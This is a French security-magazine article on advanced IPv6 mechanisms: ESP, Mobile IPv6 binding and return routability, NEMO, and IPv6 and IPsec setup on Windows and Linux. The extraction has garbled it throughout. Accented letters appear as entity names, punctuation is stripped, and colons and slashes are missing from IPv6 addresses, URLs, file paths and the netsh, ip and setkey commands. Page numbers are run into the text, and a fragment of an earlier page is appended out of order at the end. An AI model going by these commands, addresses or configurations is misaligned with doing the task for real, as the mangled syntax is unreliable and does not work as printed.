Pad Length 8 bits Indique la taille du champ Padding en octets

Next Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine extension drsquoen-tecircte Similaire au champ Protocol en IPv4

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 45

niveau transport et applicative Pour le correspondant cette communication est totalement transparente

Mobiliteacute de Machines MiP6Le mobile situeacute dans son reacuteseau megravere utilise sa Home Address pour dialoguer de maniegravere classique avec des Nœuds correspondants Lorsqursquoil se deacuteplace dans un reacuteseau visiteacute la proceacutedure est la suivante

bull Le mobile obtient une nouvelle adresse IP par com-binaison de son adresse MAC et du nouveau preacute-fixe reacuteseau la Care-of Address Il dispose toujours de sa Home Address

bull Le mobile transmet un Binding Update agrave lrsquoagent megravere afin de mettre agrave jour son cache drsquoassociation Ce paquet eacutetant proteacutegeacute par IPsec en mode ESP lrsquoauthentification lrsquoanti-rejeu la confidentialiteacute et lrsquoin-teacutegriteacute sont assureacutes

bull Lrsquoagent megravere aura alors agrave charge de capturer les paquets auparativement transmis au mobile II uti-lise dans cette optique les possibiliteacutes offertes par le protocole de deacutecouverte des voisins (Neighbor Discovery) en annonccedilant son adresse MAC com-me destinataire de lrsquoensemble des paquets unicast agrave destination du mobile Les caches NDP des ma-chines preacutesentent sur le lien megravere seront ainsi re-mis agrave jour

bull Lorsque le mobile souhaite dialoguer avec un nœud correspondant il peut choir drsquoutiliser son nouvel adres-sage ou de masquer sa mobiliteacute par lrsquoutilisation de sa Home Address Dans ce dernier cas il construit un tunnel ESP avec son Agent Megravere et encapsule les pa-quets agrave destination de son correspondant Lrsquoadresse source de la partie interne est ainsi la Home Address lrsquoadresse destination est celle du correspondant

bull Le paquet parvient agrave lrsquoAgent Megravere qui veacuterifie son authentification le deacutechiffre le deacutesencapsule et le retransmet sur le reacuteseau

bull Le correspondant pourra y reacutepondre de maniegravere sy-meacutetrique Cette reacuteponse sera captureacutee par lrsquoAgent Megravere chiffreacutee et authentifieacutee avant drsquoecirctre retrans-mise au mobile dans le tunnel ESP En cas drsquoun deacute-placement en cours de communication le binding cache aura eacuteteacute actualiseacute permettant agrave lrsquoAgent megravere de retrouver son mobile

La Figure 8 positionne ces diffeacuterentes entiteacutes dans un contexte MIPv6

Optimisations de routesLes eacutechanges entre mobiles et correspondants nrsquoeacutetant pas toujours les plus optimums en matiegravere de routage MIPv6 integravegre un mode drsquooptimisation pour les corres-pondants inteacutegrant des fonctions speacutecifiques Il srsquoagit de supprimer simplement la passerelle occasionneacutee par lrsquoAgent Megravere

Pour cela MIPv6 deacutefinit 2 nouvelles options

bull Routing Header de type 2 qui est simplement une extension drsquoen-tecircte Routing Header contenant la Home Address du mobile

bull Home Address Option qui est une sous-option de lrsquoextension drsquoen-tecircte Destination Option Header trai-teacute uniquement par le reacutecepteur du paquet

Lorsquun correspondant supporte loptimisation de rou-tage il maintient tout comme lAgent Megravere une table des associations pour tous les mobiles avec lesquels il est en communication Une veacuterification axeacutee autour drsquoICM-Pv6 est preacutealable avant toute optimisation

Le principe est alors assez proche de celui utiliseacute avec lrsquoAgent Megravere

bull Le mobile en deacuteplacement transmet un Binding Update au correspondant pour lui faire eacutetat de sa nouvelle localisation apregraves en avoir fait de mecircme agrave

table 4 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour ESP en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute

Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de ESP (50) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule

Aucune modification

5201046

Pratique

son Agent Megravere Ce correspondant mettra alors agrave jour son Binding Cache

bull Lorsque le mobile veut transmettre un message au correspondant il utilise en adresse source sa Care-of Address mais ajoute lrsquooption Home Address Option

bull Le paquet subira le routage classique entre le mobi-le et le correspondant remontera dans la pile MIPv6 de ce correspondant qui eacutechangera Care-of Address du champ adresse source et Home Address preacutesen-tes dans lrsquooption Home Address Option Pour la pi-le IPv6 le paquet sera transparent comme prove-nant directement du mobile depuis son reacuteseau Megravere Si ce paquet est proteacutegeacute par IPsec les veacuterifications sappuieront donc sur lrsquoadresse megravere

bull Avant de reacutepondre le correspondant cherchera dans sa table drsquoassociation la Care-Of Address du mobile Il transmettra alors le paquet en utilisant cette Care-Of Address en destination et y ajoutera lrsquooption Rou-ting Header de type 2 remplie avec la Home Address

bull Le paquet parviendra donc au mobile qui eacutechangera preacutealablement lrsquoadresse de destination avec la Home Address Le paquet remontera donc eacutegalement dans les couches de maniegravere totalement transparente

Ce meacutecanisme donne donc des trajectoires opti-mums en matiegravere de routage et permet de limiter les contraintes en matiegravere drsquoingress et drsquooutgress filte-ring Ce meacutecanisme de mise agrave jour dassociation po-se cependant dimportants problegravemes en matiegravere de seacutecuriteacute En effet il est aiseacute de proteacuteger les eacutechan-ges de signalisation entre le mobile et lagent megravere du fait de la relation administrative qui permet par exemple lutilisation dun secret partageacute mais ceci est beaucoup plus compliqueacute en ce qui concerne les correspondants sans protection il serait possible de deacutetourner les communications dun mobile en re-dirigeant le trafic pour lespionner ou de mener une attaque par deacuteni de service Une proceacutedure speacutecifi-que baptiseacutee Return Routability proceacutedure doit donc ecirctre mise en œuvre avant toute deacutecision drsquooptimisa-tion

return routability proceacutedureCette proceacutedure est destineacutee agrave la protection partielle des associations de seacutecuriteacute entre mobile et correspon-dant dans le cas de lrsquooptimisation de route Elle repose sur une utilisation de 4 messages principaux

table 5 Les commandes essentielles IPv6 sous Windows

Commande Netsh Rocirclenetsh interface ipv6 show interface Affiche les interfaces IPv6

netsh interface ipv6 set interface[[interface=]String][[forwarding=]enabled | disabled][[advertise=]enabled | disabled][[mtu=]Integer] [[siteid=]Integer][[metric=]Integer] [[store=]active |persistent]

Permet drsquoactiver le forwarding des interfaces les annonces de Rout-er Advertisement

netsh interface ipv6 add address[[interface=]String][address=]IPv6Address[[type=]unicast | anycast][[validlifetime=]Integer | infinite][[preferredlifetime=]Integer |infinite] [[store=]active | persistent]

Permet drsquoajouter des adresses IPv6 aux interfaces

netsh interface ipv6 showbindingcacheentries

Affiche le Binding cache utiliseacute par MIPv6

netsh interface ipv6 show routes[[level=]normal | verbose][[store=]active | persistent]

Affiche les routes IPv6

netsh interface ipv6 add route[prefix=]IPv6AddressInteger[[interface=]String][[nexthop=]IPv6Address][[siteprefixlength=]Integer][[metric=]Integer] [[publish=]no | yes| immortal] [[validlifetime=]Integer |infinite] [[preferredlifetime=]Integer| infinite] [[store=]active |persistent]

Ajoute une route IPv6 dans la table de routage

netsh interface ipv6 renew[[interface=]String]

Permet la reacuteinitialisation des adresses IPv6

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 47

bull HoTI Home Test Initbull CoTI Care-of Test Initbull HoT Home Testbull CoT Care-of Test

Les correspondants inteacutegrant lrsquooptimisation de route doivent preacutealablement disposer de nonces et drsquoune cleacute secregravete noteacutee Kcn

La proceacutedure utiliseacuteee est la suivante

bull un message HoTI est eacutemis depuis la Home Address du mobile vers le correspondant via lagent megravere Il contient une valeur aleacuteatoire sur 64 bits le Home Init cookie

bull parallegravelement un message CoTI est eacutemis depuis la care-of address du mobile directement vers le nœud correspondant Celui-ci contient une seconde valeur aleacuteatoire sur 64 bits le Care-of Init cookie

bull en reacuteponse au message HoTI un message HoT est eacutemis par le correspondant agrave destination de la Home Address du mobile via lAgent Megravere Ce pa-quet contient entre autres lrsquoindex drsquoun nonce choisi par le correspondant ainsi qursquoun Home Keygen to-ken calculeacute par premier (64 HMAC _ SHA1 (Kcn (home

address | nonce | 0 )))

bull de mecircme en reacuteponse au message CoTI un message CoT est eacutemis par le correspondant vers la Care-of Ad-dress du mobile Ce paquet contient entre autres lrsquoin-dex drsquoun autre nonce choisi par le correspondant ain-si qursquoun Home Keygen token calculeacute par premier (64 HMAC _ SHA1 (Kcn (care-of address | nonce | 0 )))

A lrsquoissue de ces diffeacuterentes eacutetapes le mobile calcule une cleacute noteacutee Kbm

Kbm = SHA1 ( home keygen token | care-of keygen

token)

La Figure 9 repreacutesente le cheminement de ces diffeacute-rents messages au travers de lrsquoInternet

Cette cleacute sera utiliseacutee lors de la mise agrave jour des associa-tions pour authentifier le mobile par le calcul drsquoun HMAC

Cette proceacutedure repose sur lrsquohypothegravese forte qursquoaucun espion nrsquoeacutecoute agrave la fois les messages CoT et HoT qui

normalement empruntent des chemins distincts Dans le cas contrairen il lui serait aiseacute de calculer Kbm et de geacuteneacuterer des faux messages drsquoassociation Cette eacutecou-te nrsquoest pas faisable dans le reacuteseau visiteacute puisque les eacutechanges entre Agent Megravere et mobile sont chiffreacutes Pra-tiquement cette attaque est aiseacutee dans le reacuteseau du correspondant mais elle nrsquoest pas eacutevalueacutee comme eacutetant plus risqueacutee que celles rencontreacutees dans un contexte sans mobiliteacute par simple IP-spoofing NDP spoofinghellip

Afin de reacuteduire les risques les nonces ainsi que la cleacute Kcn sont reacuteguliegraverement actualiseacutes

Mobiliteacute de reacuteseaux NeMOMIPv6 gegravere la mobiliteacute dun hocircte tandis que NEMO as-sure la mobiliteacute dun reacuteseau IPv6 entier appeleacute reacuteseau mobile Dans le cas de NEMO la complexiteacute est centra-liseacutee sur un eacutequipement deacutedieacute le routeur mobile Ain-si chaque mouvement (lorsque le reacuteseau mobile se deacute-place dun reacuteseau daccegraves vers un autre) est transparent pour lensemble des hocirctes IPv6 du reacuteseau mobile Un hocircte IPv6 standard peut ainsi beacuteneacuteficier dune connecti-viteacute permanente au sein dun reacuteseau mobile sans avoir toutefois besoin de protocoles additionnels

NEMO coupleacute avec certaines extensions gegravere notam-ment la mobiliteacute des reacuteseaux IPv6 la continuiteacute des flux les eacutequipements multi-interfaces Dans sa version ac-tuellement standardiseacutee NEMO ne gegravere cependant pas les optimisations de route comme peut le geacuterer MIPv6

Pratique amp Mise en œuvreLa majeure partie des Systegravemes drsquoexploitation des softwares des eacutequipements reacuteseaux actuels disposent drsquoun support IPv6 Vous pourrez le veacuterifier sur le site de lrsquoIPv6 Ready Logo Committee programme mondial de certification IPv6 Vous obtiendrez sur ce site le deacute-tail des impleacutementations actuellement certifieacutees et vous constaterez aiseacutement lrsquoimportant retard de lrsquoEurope

Les infrastructures reacuteseaux europeacuteennes ont eacutegalement accumuleacutees un retard consideacuterable dans cette migration hellip Et pourtant les reacuteseaux de lrsquoenseignement et de la re-cherche proposent depuis deacutejagrave plusieurs anneacutees un sup-port Natif drsquoIPv6 voire du multicast IPv6 Heureusement quelques ISP (Internet Service Provider) tels que Free offrent depuis quelques mois un adressage IPv6

table 6 Commandes principales pour la configuration drsquoIPv6 sous linux

Commande ip Rocircleip -6 address show [dev ltpeacuteripheacuteriquegt] Affiche les adresses IPv6

ip -6 addr add ltadresseipv6gtltlongueurdupreacutefixegt dev ltinterfacegt Ajoute une adresse IPv6

ip -6 route show [dev ltpeacuteripheacuteriquegt] Affiche les routes IPv6

ip -6 route add ltreacuteseauipv6gtltlongueurdupreacutefixegt via ltadresseipv6gt [dev ltpeacuteripheacuteriquegt]

Ajoute une route IPv6

ip -6 neigh show [dev ltpeacuteripheacuteriquegt] Affiche les voisins NDP

ip -6 neigh add ltadresseIPv6gt lladdr ltadressedelacouche-liengt dev ltpeacuteripheacuteriquegt

Ajoute un voisin NDP

5201048

Pratique

Ce paragraphe a pour objectif de vous faire appreacute-hender la mise en œuvre basique drsquoIPv6 sur les prin-cipaux systegravemes utiliseacutes agrave savoir Windows et Linux Nous supposons que vous disposez drsquoores et deacutejagrave drsquoun adressage IPv6 parce que vous ecirctes par exem-ple dans une des situations preacuteceacutedemment eacutevoqueacutees Rappelons que les Internet IPv4 et IPv6 sont bien dis-tincts mecircme si une utilisation des machines en double pile permet la superposition de certaines portions Dans le cas contraire si vous deacutesirez plus qursquoun reacuteseau local il vous faudra utiliser lun des meacutecanismes de transition deacutecrits dans lrsquoarticle preacuteceacutedent Nous vous conseillons de preacutefeacuterence un tunnel broker et en second choix un tunnel 6to4

avec WindowsLa majeure partie des versions courantes de Windows disposent drsquoun support IPv6 Vista XP SP1 XP SP2 Server 2003 2008 Sous Vista et Server 2008 ce sup-port est activeacute par deacutefaut Sous XP ou Server 2003 il vous faudra lrsquoactiver au preacutealable

Selon les versions de Windows les meacutecanismes dis-ponibles sont plus ou moins complets

La mobiliteacute IPv6 ne prend en compte que la partie correspondant ni Home Agent ni Nœud Mobile ne sont disponibles

Sous Windows XP et Server 2003 IPsec pour IPv6 of-fre les meacutecanismes AH et ESP mais le chiffrement ainsi que la gestion automatique des cleacutes nrsquoest pas disponible Seuls Vista et Server 2008 offrent ces fonctionnaliteacutes

Vista et Server 2008 permettent une utilisation de DHCPv6

activation de la pile iPv6 amp Configuration des adressesCe besoin ne se retrouve que sous XP et Windows Server 2003 dont la pile IPv6 est par deacutefaut deacutesacti-veacutee

Cette activation se fait par le biais de lrsquooutil ipv6exe sous Windows XP ougrave de la commande netsh disponible sur toutes les versions

Sous Windows XP il srsquoagit drsquoexeacutecuter ipv6 install

Bien entendu les interfaces concerneacutees doivent ac-cepter la connectiviteacute TCPIPv6 dans le menu Proprieacute-teacutes adeacutequat

Une adresse Lien-locale associeacutee agrave chacune de vos cartes reacuteseau sera alors automatiquement configureacutee par concateacutenation du preacutefixe fe80 et de votre identifiant drsquointer-face deacutefini depuis lrsquoadresse MAC associeacutee Les interfaces relieacutees agrave un reacuteseau IPv6 constitueacute drsquoun routeur annonccedilant des Router Advertisement obtiendront de mecircme automa-tiquement une adresse globale unicast unique routable et contenant lrsquoadresse MAC de lrsquointerface concerneacutee

La commande ipconfig all (ou netsh show) vous prou-vera votre connectiviteacute La figure 10 vous montre une telle configuration sous Windows XP

Vous constaterez eacutegalement une adresse suppleacute-mentaire qualifieacutee de Temporaire Il srsquoagit en fait drsquoune adresse globale de dureacutee de vie relativement courte destineacutee au masquage de lrsquoadresse MAC (disponible depuis le SP2) Au besoin vous pourrez la deacutesactiver par ipv6 ndashp gpu useTemporaryAddresse no

Connectiviteacute cheminLorsque vous disposerez drsquoune adresse routable ou simplement pour tester la connectiviteacute entre deux ma-chines vous pourrez utiliser la commande ping6 qui est le pendant de ping pour IPv4 Cette commande geacute-negravere un ensemble de paquets ICMPv6 Echo Request et affiche les reacuteponses associeacutees ICMPv6 Echo Re-ply

La Figure 11 montre un tel ping6 sur wwwgooglefr deacutesormais adressable en IPv6 Les paquets reacutesultants de cette commande sont eacutegalement indiqueacutes par cap-ture du trafic avec Wireshark

En IPv4 pour connaicirctre le trajet suivi par les paquets la commande tracert est geacuteneacuteralement utiliseacutee En IPv6 il srsquoagit deacutesormais de tracert6

Cache des voisins (NDP Cache)La reacutesolution MACAdresse en IPv4 donne naissan-ce au cache ARP obtenu par arp ndashan par exemple En IPv6 il srsquoagit deacutesormais du cache NDP qui peut ecirctre ob-tenu par ipv6 nc ou netsh interface ipv6 show neighbors

table 7 Reacutefeacuterences

Lien Titrehttplivrepoint6netindexphp IPv6 Theacuteorie et Pratique - Gisegravele Ciza-

ult

httpipv6readyorg Site de lrsquoIPv6 Ready Logo Committee

httpwwwdeepspace6netdocsipv6_status_page_appshtml Statut des applications reacuteseaux sup-portant IPv6

httpmirrorsdeepspace6netLinux+IPv6-HOWTO-fr HOWTO IPv6 pour Linux

httpwwwlinux-franceorgprjinetdocguidesAdvanced-routing-Howto HOWTO du routage avanceacute et du con-trocircle de trafic sous Linux

httpwikiwiresharkorgESP_Preferences Le module de deacutechiffrement et drsquoauthentification ESP pour Wireshark

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 49

Diverses CommandesLrsquoensemble des configurations essentielles IPv6 sous Windows srsquoeffectuent agrave lrsquoaide de Netsh (etou ipv6exe sous Windows XP) Hormis celles preacuteceacutedemment deacutefi-nies les commandes essentielles sont indiqueacutees dans le Tableau 5

accegraves Web en iPv6Classiquement en IPv4 les URLs (Uniform Resource Locator) utiliseacutees dans les accegraves HTTP (HypertexT Transfert Protocol) utilisent le nommage DNS (Domain Name System) Avant toute requecircte lrsquoadresse du ser-veur HTTP est donc geacuteneacuteralement preacutealablement tra-duite par le biais des serveurs DNS Avec IPv6 il en est de mecircme le browser dans un premier temps recher-che lrsquoensemble des adresses IP associeacutees au serveur HTTP Si celui-ci dispose drsquoune adresse IPv6 il tentera dans un premier temps de le joindre par IPv6 En cas drsquoeacutechec crsquoest le protocole IPv4 qui sera utiliseacute Nous rappelons qursquoil nrsquoest pas indispensable que le serveur DNS soit adresseacute en IPv4 pour retourner des adresses IPv6

A lrsquoheure actuelle la majeure partie des navigateurs supporte IPv6 par deacutefaut Firefox Internet Explorer hellip A titre drsquoexemple vous pourrez vous connecter sur wwwkamenet Si vous disposez drsquoun accegraves exteacuterieur IPv6 et drsquoun browser compatible vous devriez voir en premiegravere page une tortue animeacutee Le cas eacutecheacuteant elle sera fixe

Avec IPv6 les adresses eacutetant 4 fois plus longues les URLs contenant des IPs devraient encore moins se pratiquer Cependant ceci reste possible et pour diffeacute-rencier les de lrsquoadresse avec la section port de lrsquoURL il faut entourer lrsquoIP de [ ] (Exemple http[20014860a00368] pour acceacuteder agrave google en IPv6)

avec LinuxQuelle que soit la distribution contemporaine utiliseacutee celle-ci contient IPv6 Vous pourrez neacuteanmoins tester la preacutesence de son support dans le noyau par veacuterification de la preacutesence du chemin procnetif_inet6 Le mo-dule IPv6 doit eacutegalement ecirctre chargeacute avant toute utilisa-tion Un appel agrave lsmod vous le confirmera

table 8 Liste des RFCs relatives agrave IPv6

Norme TitreRFC 2403 The Use of HMAC-MD5-96 within ESP and AH

RFC 2404 The Use of HMAC-SHA-1-96 within ESP and AH

RFC 2405 The ESP DES-CBC Cipher Algorithm With Explicit IV

RFC 2409 The Internet Key Exchange (IKE)

RFC 2451 The ESP CBC-Mode Cipher Algorithms

RFC 3566 The AES-XCBC-MAC-96 Algorithm and Its Use With IPsec

RFC 3602 The AES-CBC Cipher Algorithm and Its Use with IPsec

RFC 3686 Using Advanced Encryption Standard (AES) Counter Mode With IPsec Encapsulating Security Payload (ESP)

RFC 3775 Mobility Support in IPv6

RFC 3776 Using IPsec to Protect Mobile IPv6 Signaling Between Mobile Nodes and Home Agents

RFC 3963 Network Mobility (NEMO) Basic Support Protocol

RFC 4109 Algorithms for Internet Key Exchange version 1 (IKEv1)

RFC 4301 Security Architecture for the Internet Protocol

RFC 4302 IP Authentication Header

RFC 4303 IP Encapsulating Security Payload (ESP)

RFC 4306 Internet Key Exchange (IKEv2) Protocol

RFC 4307 Cryptographic Algorithms for Use in the Internet Key Exchange Version 2 (IKEv2)

RFC 4385 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4835 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4877 Mobile IPv6 Operation with IKEv2 and the Revised IPsec Architecture

RFC 4885 Network Mobility Support Terminology

RFC 4886 Network Mobility Support Goals and Requirements

RFC 4887 Network Mobility Home Network Models

RFC 4888 Network Mobility Route Optimization Problem Statement

RFC 4889 Network Mobility Route Optimization Solution Space Analysis

5201050

Pratique

activation de la pile iPv6 amp Configuration des adressesSous Linux lrsquoensemble des configurations IPv6 peut ecirctre reacutealiseacute agrave lrsquoaide des anciennes commandes ifcon-fig netstat hellip

Depuis les noyaux au moins supeacuterieurs au 24 le sous-systegraveme reacuteseau a eacuteteacute complegravetement reacuteeacutecrit Lrsquoiproute2 eacutetend ainsi grandement les possibiliteacutes et centralise les configurations reacuteseaux La commande principale est ip

Le Tableau 6 preacutesente donc quelques une des op-tions principales pour configurer Ipv6

Le systegraveme Linux eacutetant lun des mieux documenteacutes si lrsquoune des options vous manque vous pouvez toujours utiliser la commande man (exemple man 8 ip)

Mise en œuvre mode routeurPour mettre en place un routeur etou une passerelle vous devez activer le forwarding entre les diffeacuterentes in-terfaces reacuteseaux Ceci se reacutealise par le biais de fichiers de configuration speacutecifiques agrave chaque distribution (geacuteneacute-ralement sous lrsquoarborescence etcsysconfignetwork) ou directement par dialogue avec le Kernel Ce dialogue est temporaire et agrave chaque reboot il sera reacuteinitialiseacute (sauf utili-sation de script de deacutemarrage geacuteneacuteralement etcrclocal)

Il se reacutealise par des appels agrave la commande sysctl ou par eacutecriture dans les fichiers propres au kernel

Il srsquoagit sous IPv6 de lrsquoarborescence procsysnetipv6 Le fait drsquoeacutecrire 1 dans le fichier procsysnetipv6confallforwarding activera le forwarding entre toutes les interfaces Au besoin le controcircle du forwarding par interface doit ecirctre reacutealiseacute en utilisant les jeux de regravegles de netfilter-IPv6 (agrave lrsquoaide drsquoip6tables) en speacutecifiant les peacuteripheacuteriques dentreacutee et de sortie

Il vous faudra certainement activer en plus les Router Advertisements afin de permettre aux machines preacutesen-tes sur le lien de srsquoautoconfigurer Ces paquets sont geacute-neacutereacutes suite au deacutemarrage du deacutemon radvd Ce deacutemon utilise un fichier de configuration preacutesent geacuteneacuteralement dans etcradvdconf Ce fichier preacutecise les principaux paramegravetres des Router Advertisements agrave savoir

bull le preacutefixebull la dureacutee de vie du preacutefixebull la freacutequence des envois dannoncebull hellip

En dernier point il vous faudra peut-ecirctre activer un protocole de routage intra-domaine (Ripng OSPfv3) voire inter-domaine (Is-Is BGP-4+)

Listing 1 Structure geacuteneacuterale du fichier setkeyconf

flush

spdflush

Configuration SPD

Configuration SAD

spddump

dump esp

Listing 2 Configuration SPD sur 3ffe1

spdadd -6 3ffe1 3ffe2 any -P out ipsec esptransportrequire

spdadd -6 3ffe1 3ffe3 any -P out ipsec esptransportrequire

Listing 3 Configuration SAD sur 3ffe1

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

add 3ffe1 3ffe3 esp 11

-E 3des-cbc 3descbcencryptiontesting

-A hmac-sha1 hmacsha1authenticati

Listing 4 Configuration SPD et SAD sur 3ffe2

spdadd -6 3ffe1 3ffe2 any -P in ipsec esptransportrequire

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 51

Commandes et outils principauxLes commandes principales disponibles sous Linux sont eacutequivalentes agrave celle preacuteceacutedemment eacutevoqueacutees pour Windows Les principales sont les suivantes

bull ping6 (Packet INternet Grouper) pour diagnos-tiquer la connectiviteacute reacuteseau (Exemple ping6 [-I

ltpeacuteripheacuteriquegt] FF021 vous donnera lrsquoensemble des interfaces preacutesentes sur le lien-local

bull traceroute6 pour deacutetecter le chemin emprunteacute par les paquets

bull tracepath6 similaire au traceroute6 trace le chemin vers une destination donneacutee tout en deacutecouvrant la MTU le long de ce chemin

bull nslookup host utiles pour la reacutesolution DNS en v4 ou v6

Lrsquoensemble des outils classiques reacuteseaux disponibles sur Linux a eacuteteacute adapteacute agrave IPv6 ssh telnet ftp netcat nmap hellip

Le firewall iptable classique dispose eacutegalement drsquoune variante baptiseacutee ip6table pour IPv6

Mise en œuvre drsquoiPsecLa pile IPsec est maintenant inteacutegreacutee en natif sur les noyaux 2547 et supeacuterieurs les versions infeacuterieures neacute-cessitaient lrsquoinstallation de piles speacutecifiques style FreeSWAN ou celle du projet japonais USAGI Lrsquoimpleacutementa-tion actuelle repose drsquoailleurs sur celle du projet USAGI Elle peut cependant ne pas ecirctre activeacutee par deacutefaut pour IPv6 il vous faudra donc potentiellement relancer preacutea-lablement une compilation du noyau et y activer AH ESP voire IPComp (Compression de charge IP)

La configuration des politiques IPsec ainsi que des cleacutes et algorithmes en mode partageacute srsquoeffectue agrave lrsquoaide de lrsquooutil setkey deacuterivant du projet KAME et fournie avec le package ipsec-tools Si vous choisissez un mode de configuration automatique des associations de seacutecuriteacute il vous faudra user drsquoun outil suppleacutementaire racoon ou racoon2 selon la version drsquoIKE choisie

Par simplification nous choisirons un mode manuel de gestion des associations de seacutecuriteacute Supposons donc que nous deacutesirions proteacuteger en mode transport le trafic depuis une machine drsquoadresse 3ffe1 vers les machines

bull 3ffe2 par ESP (Chiffrement aes-cbc cleacute aescbcencryption Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 10)

bull 3ffe3 par ESP (Chiffrement 3des-cbc cleacute 3descbcencryptiontesting Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 11)

Chacune de ces diffeacuterentes machines devra donc ecirctre configureacutee pour prendre en compte ce parameacutetrage IPsec Ceci peut se reacutealiser par deacutefinition drsquoun fichier de configuration nommeacute par exemple setkeyconf utili-sant le format suivant (Listing 1)

Consideacuterant 3ffe1 Il faut donc dans un premier temps deacutefinir les SPD (Security Policy Database) afin que tout trafic sortant en direction de 3ffe2 et 3ffe3 soit proteacutegeacute par Ipsec (Listing 2)

Dans un second temps il faut indiquer les SPI les cleacutes ainsi que les algorithmes agrave utiliser au niveau de la SAD (Listing 3)

Bien entendu 3ffe2 et 3ffe3 doivent comporter les SPDs et SADs correspondantes afin que tout trafic reccedilu puisse ecirctre authentifieacute et deacutechiffreacute La configuration de ces diffeacuterents eacuteleacutements sur 3ffe2 sera donc proche de Listing 4

Ainsi tout trafic provenant de 3ffe1 sera proteacutegeacute par ESP en mode transport avec les cleacutes et algorithmes deacutefinies

Pour activer ces paramegravetres il vous faudra utiliser setkey setkey ndashf setkeyconf

Vous remarquerez que seuls les eacutechanges depuis 3ffe1 vers 3ffe2 et ceux depuis 3ffe1 vers 3ffe3 sont proteacute-geacutes La reacuteciproque nrsquoest pas vraie par exemple les pa-quets provenant de 3ffe2 vers 3ffe1 ne sont en aucun cas proteacutegeacutes Vous pouvez degraves agrave preacutesent veacuterifier ces asser-tions par un ping depuis 3ffe1 vers 3ffe3 Les Echo Re-quest doivent ecirctre proteacutegeacutes par IPsec tandis que les Echo Reply circuleront en clair Afin de faciliter cette analyse vous pourrez utiliser Wireshark ainsi que le module ESP inteacutegreacute permettant le deacutechiffrement des paquets

ConclusionNous avons tenteacute de vous initier aux divers meacutecanismes principaux composant IPv6 Ces meacutecanismes sont rela-tivement nombreux la modification de la couche reacuteseau neacutecessite en effet beaucoup dadaptation IPv6 est un pro-tocole mature ses premiegraveres bases ont eacuteteacute normaliseacutees en 1998 et nont cesseacute decirctre raffineacuteee depuis par lIETF La majeure partie des systegravemes dexploitation permettent actuellement de mettre en œuvre ce protocole le nombre dadresses IPv4 allouable eacutetant presque eacutepuiseacute la transi-tion est ineacuteluctable hellip cest donc degraves maintenant quil sagit de se familiariser avec ses concepts sa mise en œuvre et les nouvelles opportuniteacutes offertes par IPv6

reacutefeacuterencesVous trouverez dans les Tableaux 7 et 8 les reacutefeacuterences normes ainsi que des liens Web ougrave vous obtiendrez des renseignements compleacutementaires sur les divers meacuteca-nismes eacutevoqueacutes agrave travers cet article

NB Toutes les figures de cet article sont agravea teacuteleacutechar-ger depuis le site web de Hakin9 wwwhakin9orgfr

Agrave PrOPOS De LauteurFreacutedeacuteric Roudaut travaille actuellement chez Orange Labs (anciennement France Telecom RampD) agrave Sophia Antipolis pour le compte drsquoOrange Business Services ITampLabs depuis 1 an et demi

Page 38: hakin9_05_2010_FR

5201042

Pratique

Ces 2 parties sont deacutefinies dans la Figure 4Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte

ESP est preacuteciseacute dans le Tableau 3

Protection eSP et algorithmesLa protection drsquoESP repose sur le choix des algorith-mes drsquoauthentification et de chiffrements Ils sont soit distincts soit combineacutes cest-agrave-dire qulsquoauthentification et chiffrement sont reacutealiseacutes par le mecircme algorithme

Dans le cas drsquoune protection combineacutee ESP suggegravere lrsquoutilisation drsquoAES-CCM ou AES-GCM deacutejagrave utiliseacute pour respectivement le 80211i et le 8021ae

Dans le cas drsquoune protection seacutepareacutee ESP suppo-se geacuteneacuteralement une impleacutementation des algorithmes drsquoauthentification suivants

bull NULL Authentication (Peut ecirctre impleacutementeacute)bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-

rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur cou-pleacute agrave code dauthentification MAC (CBC-MAC) Le compteur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour chaque message alors que le code dauthen-tification permet de veacuterifier que le message na pas eacuteteacute alteacutereacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Les algorithmes de chiffrements deacutefinis sont alors les suivants

bull NULL Encryption (Doit ecirctre impleacutementeacute)

bull AES-CBC (Doit ecirctre impleacutementeacute) AES supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CBC neacutecessite un IV de 16 octets

